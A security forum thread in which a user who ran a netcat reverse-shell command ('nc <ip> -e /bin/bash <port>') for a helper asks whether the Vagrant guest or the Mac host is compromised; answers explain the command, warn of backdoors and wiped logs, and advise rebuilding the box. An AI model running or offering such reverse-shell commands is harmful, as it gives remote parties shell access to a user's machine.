16

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port):

nc <ip> -e /bin/bash <port>

I've never encountered this before, but it seemed very interesting.

My host machine is Mac. Could he potentially gain access to my mac via vagrant guest?

I should probably destroy and recreate the vagrant box right?

2
  • 15
    If you trust him so little that now you want to wipe the box, why did you run that command in the first place? Commented Feb 12, 2016 at 0:45
  • 6
    @immibis desperate times.
    – user32389
    Commented Feb 12, 2016 at 7:27

3 Answers 3

15

I'm assuming you meant:

ncat -e /bin/bash <ip> <port>

The -e argument launches the /bin/bash command when a connection is established. The command then connects out to the IP and executes bash for the remote user to interact with. The remote user gains whatever privs the launching user has. Once this command has been terminated, then so has the connection. No problem for lasting connection there.

BUT The real question is what that person did on your vagrant box ... He could have set up or installed a backdoor, or something else to have a persistent connection.

You could check the session's history file to see what he did, or rebuild the box if you cannot verify his actions.

9
  • Out of interest, could you expand your first paragraph about what nc -e does, and how it can be abused? I'm having troubles finding stuff on google. Commented Feb 11, 2016 at 23:29
  • @MikeOunsworth I took a guess that the real command was ncat and not nc : man7.org/linux/man-pages/man1/ncat.1.html (because the argument order in the question was messed up)
    – schroeder
    Commented Feb 11, 2016 at 23:32
  • @MikeOunsworth The -e option just tells netcat to run a a command
    – Lutefisk
    Commented Feb 11, 2016 at 23:37
  • Yeah, that's the same man page I get on fedora with man nc (which appears to be an alias). By "finding stuff on google" I meant "finding security blogs about nc -e". I still think a bit of an explanation of how / why this is dangerous would make your answer more self-contained for people (like me) who didn't know about this until seeing this Question. Commented Feb 11, 2016 at 23:39
  • @MikeOunsworth better? For some versions of nc the -e is for ssl
    – schroeder
    Commented Feb 11, 2016 at 23:59
9

Netcat is a basic network tool for reading/writing TCP/UDP connections. In the example you gave, you are telling it to run the program specified by -e across TCP to the remote machine and port number. In that particular instance you were sending a bash shell to his machine, presumably where he had a netcat listener waiting.

Netcat is truly the swiss army knife of networking. You can do so much with it. You can:

  • create proxies
  • chat
  • grab service banners
  • port scan
  • reverse shell
  • bind shell
  • use it as a simple web server
  • transfer files across the internet

It is an immensely powerful tool.

To answer your question about whether or not he could use it to access your mac: Not it in itself. You had to initiate the reverse shell back to his box. Without you sending the shell, he could never connect. However, after connecting he would have been able to plant a backdoor for persistent access.

An attacker with any skill would have cleaned up his session (and system) logs, so you can't even trust those to tell the truth about what happened. The ONLY truly safe thing you can do is to wipe the box.

1
  • The attacker would have access to your vagrant box and could have possibly installed a backdoor and/or a keylogger. He would also be able to see your IP addresses that you connected from. If you're re-using passwords between that box and your machine, I would change your passwords immediately. The ssh connection by itself would not allow the attacker into your machine. Commented Feb 12, 2016 at 7:45
2

There has been a vulnerability reported where an attacker could break out of Virtualbox guest through 3D acceleration and gain access to host OS.

This requires that 3D acceleration is enabled for the guest OS.

You must log in to answer this question.